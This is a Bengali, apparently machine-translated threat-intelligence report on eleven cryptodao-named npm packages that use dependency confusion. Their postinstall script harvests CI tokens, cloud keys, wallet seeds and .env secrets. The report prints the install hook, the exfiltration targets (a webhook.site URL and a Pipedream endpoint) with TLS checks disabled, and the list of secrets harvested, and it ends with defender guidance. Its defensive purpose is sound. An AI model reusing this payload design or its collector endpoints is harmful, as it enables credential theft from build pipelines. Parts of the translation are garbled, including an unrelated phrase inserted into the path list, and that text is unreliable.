TL; ডিআর
২০২৬-০৬-১৭ তারিখে, একটি একক এনপিএম অ্যাকাউন্ট প্রকাশ করেছে এগারোটি প্যাকেজ, যেগুলোর উদ্দেশ্য ও বহনক্ষমতা একই।তাদের মধ্যে দশজন বহন করে cryptodao- উপসর্গ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); একাদশটি হলো পরিধিভুক্ত @public-for-cdao/coreপ্রতিটি সংস্করণ প্রকাশিত হয়েছিল 99.99.99 এবং একটি বাইট-অভিন্ন চালান পাঠায় recon.js যেটি চলে postinstall.
নামগুলোই আসল কথা বলে দেয়। এগুলো পড়লে কোনো ক্রিপ্টো/DAO প্রজেক্টের প্রাইভেট টুলচেইনের অভ্যন্তরীণ নির্মাণ উপাদানের মতো মনে হয়। কৃত্রিমভাবে উচ্চ সংস্করণে পাবলিক এনপিএম রেজিস্ট্রি-তে প্রকাশিত হয়ে, এগুলো একটি বিল্ডের জন্য অপেক্ষা করতে থাকে। pipeline যা ঐ নামগুলো সমাধান করার জন্য কনফিগার করা হয়েছে এবং যা প্রাইভেট রেজিস্ট্রির আগে — বা তার পরিবর্তে — পাবলিক এনপিএম-এ পৌঁছায়। এটি হলো নির্ভরতা বিভ্রান্তিএবং পেলোডটিকে ঠিক সেই জায়গার জন্য প্রস্তুত করা হয়েছে যেখানে এটি অবতরণ করবে বলে আশা করা হচ্ছে: CI/CD রানার্স.
কখন postinstall আগুন, recon.js হোস্টের বিবরণ সংগ্রহ করে, মোটামুটিভাবে যাচাই করে চল্লিশটি ক্লাউড, সিআই, এবং ক্রিপ্টো-ওয়ালেট পরিবেশ ভেরিয়েবলযেকোনো কিছু পড়ে .env এটি যে ফাইলগুলো খুঁজে পায় এবং গোপনীয় লাইনগুলো হুবহু ফরোয়ার্ড করে, তারপর বান্ডিলটি দুজন সংগ্রাহকের কাছে প্রেরণ করে — webhook.site এবং একটি Pipedream এন্ডপয়েন্ট — যেখানে TLS সার্টিফিকেট যাচাইকরণ নিষ্ক্রিয় করা আছে। এর একটি অনুলিপিও এর অধীনে লেখা আছে। /tmp.
নির্দয়তা: উচ্চক্ষতিগ্রস্ত বাস্তুতন্ত্র: npmএই প্রতিবেদন লেখার সময় এগারোটি প্যাকেজই চালু ছিল।
শারীরস্থান আক্রমণ করুন
এই যন্ত্রটিতে চারটি চলমান অংশ রয়েছে, এবং একবার কৌশলটা জেনে গেলে এর কোনোটিই সূক্ষ্ম মনে হয় না। প্যাকেজের নামের পরের স্তরটি দেখুন।
১. সমাধানকারীকে প্রলুব্ধ করার উপায় হিসেবে ভার্সন স্ফীতি। প্রতিটি প্যাকেজ সংস্করণ ঘোষণা করে 99.99.99যখন কোনো প্যাকেজ ম্যানেজার একটি অনুরোধ করে, তখন নির্ভরতার বিভ্রান্তি ঘটে। অভ্যন্তরীণ নাম, এছাড়াও পাবলিক রেজিস্ট্রি পরীক্ষা করে এবং এর সর্বোচ্চ সংস্করণটি বেছে নেয়। ফাইন্ডস। ক্যারেট বা ওয়াইল্ডকার্ড রেঞ্জের জন্য এনপিএম-এর ডিফল্ট নির্বাচন হলো প্রতিটি কনফিগার করা উৎস জুড়ে সর্বোচ্চ সন্তোষজনক সংস্করণ; যদি উভয়ই একটি ব্যক্তিগত একই নামের জন্য রেজিস্ট্রি এবং পাবলিক এনপিএম-এর উত্তরে, বড় ভার্সন নম্বরটিই প্রাধান্য পায়। A 99.99.99 একটি প্রকল্পের যেকোনো বাস্তব অভ্যন্তরীণ সংস্করণকে কার্যত ছাড়িয়ে যায় পৌঁছে গেছে, তাই যে রিজলভারটি প্রাইভেট সোর্সে পিন করা নেই সেটি পছন্দ করে সর্বজনীন — এবং এই ক্ষেত্রে, বিদ্বেষপূর্ণ — অনুলিপি। অপারেটরের এটি জানার প্রয়োজন নেই। লক্ষ্যের আসল সংস্করণ নম্বর; একটি অযৌক্তিক সর্বোচ্চ সংখ্যা বেছে নিলে সবসময় টাই হওয়া নিশ্চিত হয়। তাদের পথে ভাঙে।
২. একটি পোস্টইনস্টল ট্রিগার। package.json পেলোডকে ইনস্টলেশনের সাথে সংযুক্ত করে জীবনচক্র:
{ "scripts": { "postinstall": "node recon.js" } } প্যাকেজটি ইম্পোর্ট করার প্রয়োজন নেই। শুধু এটি ইনস্টল করতে হবে — যা একটি CI pipeline স্বয়ংক্রিয়ভাবে চলে — recon.js.
৩. একটি ব্যাপক গোপন অভিযান। recon.js পর্যায়ক্রমে একটি ফলাফল অ্যারে তৈরি করে:
- হোস্ট প্রসঙ্গ: হোস্টনাম, প্ল্যাটফর্ম এবং রিলিজ, আর্কিটেকচার, ব্যবহারকারীর নাম, কার্যরত ডিরেক্টরি.
- পরিবেশ ভেরিয়েবল: এটি প্রায় চল্লিশটি নাম এবং রেকর্ডের একটি নির্দিষ্ট তালিকার উপর পুনরাবৃত্তি করে। যেগুলো সেট করা আছে। তালিকাটি বেশ তাৎপর্যপূর্ণ — এটি জেনেরিক CI টোকেনগুলোকে জোড়া দেয়। (CI_JOB_TOKEN, CI_রেজিস্ট্রি_পাসওয়ার্ড, গিটল্যাব_অ্যাক্সেস_টোকেন) এবং মেঘ শংসাপত্র (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) রেজিস্ট্রি এবং কন্টেইনার গোপনীয়তা সহ (এনপিএম_টোকেন, ডকার_পাসওয়ার্ড, হারবার_পাসওয়ার্ড) এবং একটি স্বতন্ত্র ক্রিপ্টো-স্বাদের ক্লাস্টার: ব্যক্তিগত চাবি, স্মৃতিসহায়ক, বীজ_বাক্যাংশ, INFURA_API_KEY, অ্যালকেমি_এপিআই_কী, ইটিএইচ_আরপিসি, বিএসসি_আরপিসিরেকর্ডকৃত মানগুলো প্রথম ৫০টি অক্ষরে সংক্ষিপ্ত করা হয়।
- .env ফাইলসমূহ: এটি পাথগুলির একটি তালিকা অনুসন্ধান করে — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, এবং শীর্ষ XNUMX গ্লোবাল HR এক্সিলেন্স অ্যাওয়ার্ডের উৎপাদন/উন্নয়ন বিভিন্ন রূপ — এবং বিদ্যমান যেকোনো ফাইলের জন্য, এটি বিষয়বস্তুগুলিকে মিলে যাওয়া লাইনগুলিতে ফিল্টার করে চাবি|গোপন|টোকেন|পাস|ব্যক্তিগত|স্মৃতিসহায়ক এবং সেই লাইনগুলোকে **সম্পূর্ণ ও অখণ্ডিতভাবে** ফলাফলের মধ্যে ঢুকিয়ে দেয়।
- বিল্ড-হোস্ট কনটেক্সট: এটি প্রথম ২০টি এন্ট্রি তালিকাভুক্ত করে। /বিল্ডস/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, এবং / Tmp / '.
পাথ লিস্ট এবং ভেরিয়েবল লিস্ট গিটল্যাব রানারদের কথা মাথায় রেখে তৈরি করা হয়েছে, যা নির্দেশ করে পেলোডটি ডেভেলপারের পরিবর্তে সরাসরি সেলফ-হোস্টেড CI ইনফ্রাস্ট্রাকচারে পাঠানো হয়। ল্যাপটপ। ফসল সংগ্রহের তালিকাটিকে বিভাগ অনুযায়ী ভাগ করলে উদ্দিষ্ট সংগ্রহের পরিমাণ স্পষ্ট হয়ে ওঠে:
| বিভাগ | ভেরিয়েবল / পাথগুলি পৌঁছেছে |
|---|---|
| CI/CD শনাক্তকরণ এবং স্থাপন | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| মেঘ | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| রেজিস্ট্রি এবং কন্টেইনার | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| ডেটা স্টোর | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| ক্রিপ্টো / ব্লকচেইন | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| মেসেজিং | SLACK_TOKEN, DISCORD_TOKEN |
| ডিস্কে | .env পরিবার + /home/gitlab-runner/.env, /root/.env, /app/**/.envডিরেক্টরি তালিকা /builds/, /var/lib/gitlab-runner/ |
ক্রিপ্টো ক্লাস্টারই এটিকে একটি সাধারণ CI-সিক্রেট থেকে আলাদা করে। সুইপ: ওয়ালেট সিড ফ্রেজ এবং সাইনিং কী শুধুমাত্র একটির পরিবেশে প্রদর্শিত হয়। ব্লকচেইন প্রকল্প, এবং সেগুলো সরাসরি ম্যাপ করে ক্রিপ্টোডাও-/চিহ্ন/চুক্তি বাহকগুলোর নামকরণ।
৪. যাচাইকরণ নিষ্ক্রিয় রেখে দ্বৈত বহির্গমন। সংগৃহীত অ্যারেটি হল ক্রমিকীকরণ করে দুটি গন্তব্যে পোস্ট করা হয়েছে:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) অননুমোদিত প্রত্যাখ্যান: মিথ্যা বহির্গামী প্রেরণের জন্য TLS সার্টিফিকেট যাচাই বন্ধ করে দেয় কল। একই ডেটা stdout-এ প্রিন্ট করা হয় (ফলে এটি CI জব লগ-এও চলে আসে) এবং লিখিত /tmp/.npm_recon_ .jsonভুলগুলো নীরবে চাপা পড়ে যায়, তাই একটি ব্যর্থ প্রেরণের ফলে ইনস্টল আউটপুটে একটিমাত্র চিহ্ন ছাড়া আর কোনো চিহ্ন থাকে না। [পুনর্বাসন] ইনস্টল করা হয়েছে লাইন।
ফাইলটির একটি সূচনা মন্তব্যে এটিকে “নির্ভরশীলতার বিভ্রান্তি” (Dependency Confusion) হিসেবে বর্ণনা করা হয়েছে। গোয়েন্দা পেলোড। পরিবেশগত মানগুলিকে ৫০ অক্ষরে সংক্ষিপ্ত করার ফলে একটি প্রুফ অফ কনসেপ্টের আকৃতি। যা এটিকে কেবল-উপস্থিতি নির্দেশকের পর্যায় থেকে এগিয়ে নিয়ে যায় তা হলো .env পরিচালনা: গোপনীয় বার্তা বহনকারী লাইনগুলি সম্পূর্ণরূপে ফরোয়ার্ড করা হয়, এবং গন্তব্যস্থলগুলি একটি সিঙ্কের পরিবর্তে দুটি কার্যকরী, আক্রমণকারী-নিয়ন্ত্রিত কালেক্টর রয়েছে যা কেবল গণনা করে আঘাত.
Timeline
পাবলিশ প্যাটার্ন হলো একটিমাত্র স্ক্রিপ্টেড পুশ-এর স্বাক্ষর, এগারোটির নয়। স্বতন্ত্র আপলোড।
| সময় (ইউটিসি, ২০২৬-০৬-১৭) | ঘটনা |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 প্রকাশিত |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — স্কোপড ভ্যারিয়েন্ট, প্রায় ২৪ মিনিট পরে |
২৯ সেকেন্ডের ব্যবধানে দশটি প্যাকেজ পাঠানো হয়েছিল, অর্থাৎ মোটামুটি প্রতি তিন সেকেন্ডে একটি করে। পরিধি @public-for-cdao/core প্রায় ২৪ মিনিট পর দ্বিতীয় একটি অনুসরণ করা হলো। একই টার্গেটের জন্য নামকরণের নিয়ম, যদি ব্যবহারকারী প্রজেক্টটি রেফারেন্স করে অভ্যন্তরীণ টুলচেইনকে শুধু নাম হিসেবে নয়, বরং একটি স্কোপের অধীনে রাখা হয়।
সমঝোতার সূচক
| আদর্শ | ইনডিকেটর |
|---|---|
| সংগ্রাহক | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| সংগ্রাহক | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| হুক ইনস্টল করুন | postinstall: node recon.js |
| ফাইল বাদ দেওয়া হয়েছে | /tmp/.npm_recon_<timestamp>.json |
| লগ মার্কার | [recon] <pkg>@<ver> installed on <hostname> (CI লগ-এর stdout) |
| ব্যবহারিক | rejectUnauthorized: false ইনস্টলের সময় বহির্গামী HTTPS-এ |
| পেলোড | recon.jsএগারোটি প্যাকেজেই অভিন্ন (একটি সাধারণ বিল্ড) |
| সংস্করণ | 99.99.99 প্রতিটি প্যাকেজে |
| প্যাকেজ | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (সমস্ত 99.99.99) |
| প্রকাশক | aduljune / aduljune@proton.me (ইমেল যাচাই করা হয়নি, কোনো উৎস সংগ্রহস্থল সংযুক্ত নেই) |
আরোপণ এবং পর্যবেক্ষণকৃত আচরণ
ক্লাস্টারটির সবকিছুই একটি দিকেই ইঙ্গিত করছে। এগারোটি প্যাকেজই প্রকাশিত হয়েছিল। এনপিএম অ্যাকাউন্ট দ্বারা প্রাপ্তবয়স্ক (aduljune@proton.meএকটি যাচাইবিহীন ঠিকানা যেখানে নেই একই সময়ে, ২৫ মিনিটের ব্যবধানে, লিঙ্ক করা সোর্স রিপোজিটরিতে। 99.99.99 সংস্করণ, একটি শিপিং recon.js যার বিষয়বস্তু প্রতিটি ক্ষেত্রে বাইট-বাই-বাইট অভিন্ন প্যাকেজ (এক্সট্র্যাক্ট করা এগারোটি কপির সবকটিতেই MD5 মিলেছে)। এটি একটি পেলোড। নামের তালিকায় ছাপানো, স্বাধীন কোড পুনঃব্যবহার নয়।
নামের তালিকাটি উদ্দিষ্ট লক্ষ্যকে সংজ্ঞায়িত করে। ক্রিপ্টোডাও-* এবং cdao বর্ণনা করুন একটি ক্রিপ্টো/DAO প্রকল্পের ব্যক্তিগত মডিউল বিন্যাস এবং পেলোডের আহরণ তালিকা সেই অনুমানকেই প্রতিফলিত করে: সাধারণ CI এবং ক্লাউড সিক্রেটগুলোর পাশাপাশি, এটি বিশেষভাবে হাত বাড়ায় ব্যক্তিগত চাবি, স্মৃতিসহায়ক, বীজ_বাক্যাংশএবং ইথেরিয়াম/বিএসসি আরপিসি এবং প্রদানকারী কী-গুলো। .env সার্চ পাথ এবং ডিরেক্টরি তালিকাগুলি হল GitLab-runner সুনির্দিষ্ট। পর্যবেক্ষণযোগ্য প্রভাবটি হলো যে কোনো pipeline এগুলো ইনস্টল করতে প্রতারিত করা হয়েছে নামগুলো তার CI টোকেন, ক্লাউড কী এবং অন-ডিস্ক ফরওয়ার্ড করবে। .env গোপনীয়তা — এবং, জন্য একটি ব্লকচেইন প্রকল্প, এর ওয়ালেটের উপাদান — দুজন তৃতীয় পক্ষের সংগ্রাহকের কাছে।
কে অ্যাকাউন্টটি পরিচালনা করে বা তারা এটি দিয়ে কী করার পরিকল্পনা করেছিল, সে সম্পর্কে আমরা কোনো দাবি করছি না। তথ্য। যে তথ্যগুলো স্বয়ংসম্পূর্ণ: নামগুলো একটি নির্দিষ্ট ধরনের বিষয়কে লক্ষ্য করে। অভ্যন্তরীণ টুলচেইন, পেলোডটি আসল গোপনীয় মান পড়ে এবং প্রেরণ করে, এবং পরিকাঠামোটি চালু ছিল।
প্রভাব, প্রবণতা এবং রক্ষাকারীদের নির্দেশনা
নির্ভরশীলতার বিভ্রান্তি এটি কার্যকর থাকে কারণ এটি রিজলভারের আচরণকে কাজে লাগায়, অন্য কোনো কারণে নয়। যেকোনো প্যাকেজের দুর্বলতা। এখানে বাহকটি তুচ্ছ — এগারোটি প্রায়-খালি প্যাকেজগুলো — কিন্তু বিস্ফোরণের ব্যাসার্ধ যা-ই হোক না কেন pipeline ভুলবশত পাবলিক এনপিএম পছন্দ করে একটি অভ্যন্তরীণ নামের জন্য। এমনটা ঘটার জন্য CI রানারগুলো সবচেয়ে খারাপ জায়গা: তারা ধারণ করে ঠিক টোকেনগুলো এবং .env এই পেলোডটি ফাইলগুলো পড়ে এবং সেগুলো ইনস্টল করে। নির্ভরতাগুলি অ-পারস্পরিকভাবে, তাই একটি পোস্টইনস্টল কেউ না দেখেই দৌড়ায়।
এই ক্লাস্টারটিও আমাদের দেখা একটি প্যাটার্নের সাথে মিলে যায়: ইনস্টল-টাইম পেলোড যা উপস্থাপন করে প্রকৃত শংসাপত্র সংগ্রহের সময় এটিকে "গবেষণা" বা "পর্যবেক্ষণ" হিসাবে দেখানো হয়। লেবেলটি ফাইলে থাকা কোড রানারে যা করে, তাতে কোনো পরিবর্তন আনে না। দুটি ডিজাইনগত সিদ্ধান্ত এটিকে টিকিয়ে রাখে। কার্যকলাপটি নীরব: প্রতিটি নেটওয়ার্ক এবং ফাইলসিস্টেম অপারেশন একটি আবরণে মোড়ানো থাকে। ব্যতিক্রম হ্যান্ডলার যা ত্রুটি বাতিল করে, যেমন—একটি অবরুদ্ধ প্রেরণ বা একটি অনুপস্থিত ফাইল। কোনো ডায়াগনস্টিক আউটপুট তৈরি করে না, এবং শুধুমাত্র একটি নিরীহ বার্তা প্রিন্ট হয়। [পুনঃসমীক্ষা] … ইনস্টল করা হয়েছে এমন একটি লাইন যা ইনস্টলেশনের সাধারণ কথাবার্তার সাথে মিশে যায়। এর ব্যবহার webhook.site এবং পাইপড্রিমও একটি ইচ্ছাকৃত সুবিধা — উভয়ই বিনামূল্যে, তাৎক্ষণিকভাবে অনুরোধ-গ্রহণ পরিষেবা সরবরাহ করা হয়, ফলে অপারেটরের কোনো সার্ভারের প্রয়োজন হয় না। তাদের নিজস্ব এবং ইগ্রেস লগগুলিতে গন্তব্যগুলি সাধারণ SaaS হোস্টনেমের মতো দেখায়।
অর্থনীতিই এটিকে একজন সমর্থকের মনোযোগের যোগ্য করে তোলে, যদিও ক্যারিয়ার কোড খুবই সাধারণ। এগারোটি নাম নিবন্ধন করতে কোনো খরচ হয় না, পেলোড হলো একটি। ফাইলটি এগারোবার কপি করা হয়েছে, এবং প্যাকেজ ম্যানেজারই সমস্ত কার্য সম্পাদন করে। একটিমাত্র ভুলভাবে কনফিগার করা হয়েছে pipeline যে কোনো স্থান যা এই নামগুলোর কোনো একটি ব্যবহার করে, তাকেই পুরোটার দাম পরিশোধ করতে হয়। operation.
রক্ষকদের জন্য সুনির্দিষ্ট পদক্ষেপ:
- অভ্যন্তরীণ স্কোপগুলিকে আপনার ব্যক্তিগত রেজিস্ট্রিতে পিন করুন। এনপিএম এমনভাবে কনফিগার করুন যাতে অভ্যন্তরীণ নামগুলো
এবং স্কোপগুলি শুধুমাত্র আপনার রেজিস্ট্রি সাপেক্ষে সমাধান করা হয় (স্কোপযুক্ত .npmrc রেজিস্ট্রি ম্যাপিং, অথবা এমন একটি প্রক্সি যা ওনড নেমস্পেসের জন্য কখনোই পাবলিক এনপিএম-এ চলে যায় না)। আপনার পাবলিক স্কোপের নামগুলো সংরক্ষিত রাখুন যাতে অন্য কেউ সেগুলো রেজিস্টার করতে না পারে।
- Commit লকফাইল এবং –ignore-scripts সহ ইনস্টল করুন CI-তে যেখানে সম্ভব, অথবা সেই অল্পসংখ্যক নির্ভরতাগুলো যাচাই করুন, যেগুলোর জন্য সত্যিই ইনস্টল স্ক্রিপ্ট প্রয়োজন। recon.js চলতে পারবে না যদি পোস্টইনস্টল কার্যকর করা হয়নি।
- অভ্যন্তরীণ নামের মতো দেখতে কোনো নামের 99.99.99 (বা অন্য কোনো অস্বাভাবিকভাবে উচ্চ) সংস্করণকে বিবেচনা করুন। বিপদ সংকেত হিসেবে নির্ভরতা পর্যালোচনা এবং রেজিস্ট্রি পর্যবেক্ষণে।
- ইনস্টলেশন চলাকালীন প্রস্থানের ক্ষেত্রে সতর্কতা। A পোস্টইনস্টল যেটি একটি বহির্গামী HTTPS খোলে সংযোগ — বিশেষ করে যখন সার্টিফিকেট যাচাইকরণ নিষ্ক্রিয় থাকে — webhook.site, Pipedream, বা এই জাতীয় অন্যান্য রিকোয়েস্ট-ক্যাপচার সার্ভিসগুলোকে নেটওয়ার্ক এজ-এ ব্লক করা এবং বিল্ড লগ-এ ফ্ল্যাগ করা উচিত।
- প্রত্নবস্তুগুলো অনুসন্ধান করুন। দৌড়বিদদের জন্য পরীক্ষা করুন /tmp/.npm_recon_*.json এবং জন্য [পুনঃসমীক্ষা] … সাম্প্রতিক CI লগগুলিতে … চিহ্নিতকারী দ্বারা ইনস্টল করা হয়েছে। যদি পাওয়া যায়, প্রতিবার ঘোরানো হবে। যেটির সংস্পর্শে আসা শংসাপত্র pipeline — CI টোকেন, ক্লাউড কী, রেজিস্ট্রি টোকেন, এবং এনভায়রনমেন্ট বা .env ফাইলে থাকা যেকোনো ওয়ালেট সিড বা প্রাইভেট কী।
তথ্যসূত্র
এই প্রতিবেদন লেখার সময় এই ক্লাস্টারটি সম্পর্কে কোনো বাহ্যিক প্রতিবেদন ছিল না; বিশ্লেষণ উপরের তথ্যটি সরাসরি প্রকাশিত প্যাকেজের বিষয়বস্তুর উপর ভিত্তি করে তৈরি।




